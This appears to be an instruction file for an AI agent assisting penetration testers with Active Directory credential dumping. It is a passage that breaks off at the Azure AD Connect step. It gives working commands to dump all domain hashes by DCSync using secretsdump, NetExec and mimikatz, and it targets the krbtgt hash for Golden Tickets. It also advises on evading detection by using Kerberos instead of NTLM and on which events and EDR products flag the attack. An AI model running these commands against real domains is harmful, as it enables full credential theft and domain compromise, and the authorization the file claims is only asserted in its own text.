/credential-dumping

name: credential-dumping
description: >
  Extracts credentials from Active Directory: DCSync replication, NTDS.dit
  database extraction, SAM hive dump, Azure AD Connect (ADSync) credential
  extraction, LAPS passwords (legacy + Windows LAPS), gMSA passwords (KDS
  root key + GoldenGMSA), dMSA exploitation (BadSuccessor CVE-2025-21293),
  DSRM credentials, and EFS-encrypted file decryption.
keywords:
  - DCSync
  - secretsdump
  - NTDS.dit
  - ntds extraction
  - SAM dump
  - Azure AD Connect
  - ADSync
  - AAD Connect
  - mcrypt
  - DPAPI
  - LAPS password
  - gMSA password
  - dMSA
  - BadSuccessor
  - DSRM
  - credential dump
  - extract hashes
  - domain hashes
  - krbtgt hash
  - hashdump
  - GoldenGMSA
  - EFS
  - Encrypting File System
  - EFS encrypted
  - DefaultPassword
  - DPAPI backup key
  - KDS root key
  - dump credentials
  - dump domain
tools:
  - secretsdump.py
  - mimikatz
  - netexec
  - bloodyAD
  - gMSADumper
  - sqlcmd
opsec: medium

Credential Dumping

You are helping a penetration tester extract credentials from Active Directory stores including domain databases, local machine hives, Azure AD Connect sync databases, managed service accounts, and directory recovery secrets. All testing is under explicit written authorization.

**Kerberos-first authentication**: All remote credential extraction commands use Kerberos authentication (`-k -no-pass`, `--use-kcache`) to avoid NTLM detection signatures. Exception: local filesystem operations (SAM/NTDS extraction from hives) where Kerberos auth does not apply.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[credential-dumping] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Access level varies by technique (see Step 1)
• Tools: `secretsdump.py` (Impacket), `netexec` (nxc), optionally

`mimikatz`, `bloodyAD`, `gMSADumper.py`, `ntdsutil.exe`

**Kerberos-first workflow** (for remote extraction):

getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
# or with password
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL
export KRB5CCNAME=user.ccache

# All extraction commands use -k -no-pass
secretsdump.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL

Step 1: Assess Access Level

Determine what you can extract based on current access:

| Access Level | Available Techniques | Go To | |-------------|---------------------|-------| | Replication rights (DS-Replication-Get-Changes + Get-Changes-All) | DCSync | Step 2 | | Domain Admin / DC local admin | DCSync, NTDS extraction, LAPS, gMSA | Step 2 or 3 | | Azure AD Connect admin (ADSyncAdmins, Azure Admins, or shell on AADConnect host) | ADSync credential extraction | Step 2b | | Local admin on target | SAM dump | Step 4 | | LAPS read permission (on computer object) | LAPS password read | Step 5 | | gMSA read permission (PrincipalsAllowedToRetrieve) | gMSA password | Step 6 | | GenericWrite on dMSA | dMSA BadSuccessor | Step 7 | | DC local admin + DSRM knowledge | DSRM credential extraction | Step 8 |

Check Replication Rights

# Check if current user has replication rights
bloodyAD -k -no-pass get writable --right 'REPLICATION' --detail

# Verify via secretsdump (attempt DCSync for a single account)
secretsdump.py -k -no-pass -just-dc-user krbtgt DOMAIN/user@DC.DOMAIN.LOCAL

Step 2: DCSync (Replication)

Extract credentials by simulating domain controller replication. Requires `DS-Replication-Get-Changes` + `DS-Replication-Get-Changes-All` rights (held by Domain Admins, Enterprise Admins, DC machine accounts, and accounts with these rights explicitly granted).

Full Domain Dump

# Extract ALL domain hashes (users, machines, krbtgt)
secretsdump.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL

# Output format: user:rid:lmhash:nthash:::
# Also extracts: Kerberos keys (AES256, AES128), cleartext (if reversible)

Targeted DCSync (Lower OPSEC)

# Single user (e.g., krbtgt for Golden Ticket)
secretsdump.py -k -no-pass -just-dc-user krbtgt \
  DOMAIN/user@DC.DOMAIN.LOCAL

# Specific high-value account
secretsdump.py -k -no-pass -just-dc-user Administrator \
  DOMAIN/user@DC.DOMAIN.LOCAL

# Only NTLM hashes (skip Kerberos keys, cleartext)
secretsdump.py -k -no-pass -just-dc-ntlm DOMAIN/user@DC.DOMAIN.LOCAL

NetExec DCSync

# Check if DCSync is possible
nxc smb DC.DOMAIN.LOCAL --use-kcache -M dcsync

# Full dump via NetExec
nxc smb DC.DOMAIN.LOCAL --use-kcache --ntds

Mimikatz DCSync (Windows)

# Single user
lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt

# All users
lsadump::dcsync /domain:DOMAIN.LOCAL /all /csv

OPSEC Notes

• Generates **Event 4662** (directory service access) with replication GUIDs
• Generates **Event 4928/4929** (replication source/destination)
• Targeted DCSync (single user) generates fewer events than full dump
• CrowdStrike detects DCSync via replication GUID patterns

Step 2b: Azure AD Connect (ADSync) Credential Extraction

Extract credentials stored in the Azure AD Connect synchronization database. The ADSync database contains encrypted connector account passwords —